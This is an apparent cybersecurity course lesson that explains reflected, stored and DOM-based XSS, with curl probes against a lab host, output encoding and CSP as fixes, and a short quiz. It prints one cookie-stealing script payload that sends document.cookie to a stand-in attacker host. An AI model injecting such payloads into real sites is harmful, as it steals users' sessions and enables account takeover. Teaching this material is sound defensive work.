learn/phase-3/p3-w11/lesson 03
Milestone 11 · lesson 3

Cross-Site Scripting (XSS): Turning a Page Against Its Users

Hands-on. See how unescaped input becomes executable script, and tell reflected, stored and DOM XSS apart.
Lab: Reflected Input

Prove the search box reflects your input unescaped, the hallmark of reflected XSS.

What you'll learn

  • Explain what XSS is: getting your JavaScript to run in someone else's browser.
  • Tell reflected, stored and DOM-based XSS apart with a real example of each.
  • Spot a reflection point where input comes back into the page unescaped.
  • Know the fix, output encoding (and a Content Security Policy), and why XSS targets users, not the server.

Cross-Site Scripting (XSS): Turning a Page Against Its Users

SQL injection attacks the server's database. Cross-Site Scripting (XSS) attacks something different: the other users of the site. It's what happens when an app lets your input become live JavaScript in someone else's browser.

The core idea

A browser can't tell the difference between JavaScript the website meant to send and JavaScript an attacker sneaked in, it just runs whatever is in the page. So if you can get your <script> onto a page another person loads, your code runs as them, on that site. It can read their session cookie, click buttons as them, change what they see, or quietly send their data away.

XSS trusts input the same way injection does, but the input ends up in the HTML of a page instead of a database query.

Spotting a reflection

The simplest XSS starts with a page that echoes your input. Try a harmless test string:

curl "http://10.10.10.20/search?q=test123"

If the response contains You searched for: test123 , your input is being reflected into the page. Now the question from lesson one returns: is it treated as code or as data? Send something that would only matter if it's parsed as HTML:

curl "http://10.10.10.20/search?q=<b>bold</b>"

If the response contains a literal <b>bold</b> tag (not the escaped &lt;b&gt;), the app is not escaping your input, and a <script> would run just as easily. You've found reflected XSS.

The three flavours

  • Reflected XSS , your input bounces straight back in the response. It only fires for someone who follows a crafted link you send them (.../search?q=<script>...). One victim at a time.
  • Stored XSS , your input is saved on the server (a comment, a username, a support ticket) and runs for every visitor who later views that page. No bait needed, which makes it the most dangerous.
  • DOM-based XSS , the injection never touches the server; vulnerable JavaScript already on the page takes something from the URL (like location.hash) and writes it into the page unsafely.

What it's actually used for

A classic payload steals the victim's session cookie:

<script>fetch('https://attacker.example/c?'+document.cookie)</script>

When an admin views a page carrying that stored script, their session token is sent to the attacker, who can now log in as them. No password needed. XSS is how one careless comment field becomes an account takeover.

The fix: encode on the way out

The database fix was to separate data from code; the XSS fix is the same idea in the browser: output encoding. Before user data is written into a page, escape it for where it lands:

<  becomes  &lt;      >  becomes  &gt;      "  becomes  &quot;

Now <script> is displayed as harmless text instead of being executed. Modern frameworks (React, etc.) do this by default, which is why XSS is rarer than it used to be, but it reappears the moment a developer bypasses that safety (dangerouslySetInnerHTML, innerHTML, unescaped templates). A Content Security Policy header adds a second layer by restricting what scripts a page may run.

Try it (terminal)

The lab beside this lesson has a reflecting search endpoint. Confirm the reflection first:

  1. curl "http://10.10.10.20/search?q=test123" , is your input echoed back?
  2. curl "http://10.10.10.20/search?q=<b>x</b>" , does the tag come back unescaped?
  3. That unescaped reflection is the vulnerability, the lab's flag confirms you found it.

Why this matters

XSS flips the usual target: instead of the server, it goes after the people using the site, including administrators. It's behind a huge share of real account-takeover bugs and bug-bounty payouts. Learn to ask "does my input come back as code?", and you'll spot it in seconds.

Check your understanding

4 questions

Type an answer and press Check. Grading is keyword-based and forgiving, so short answers are fine.

  1. 1

    A page has a search?q= box. Write the URL you'd request to test whether it reflects input unescaped (a reflected-XSS probe).

  2. 2

    A search page puts You searched for: <your input> straight into the HTML with no escaping. What type of XSS is this, and why?

  3. 3

    How does stored XSS differ from reflected XSS?

  4. 4

    What is the primary fix for XSS?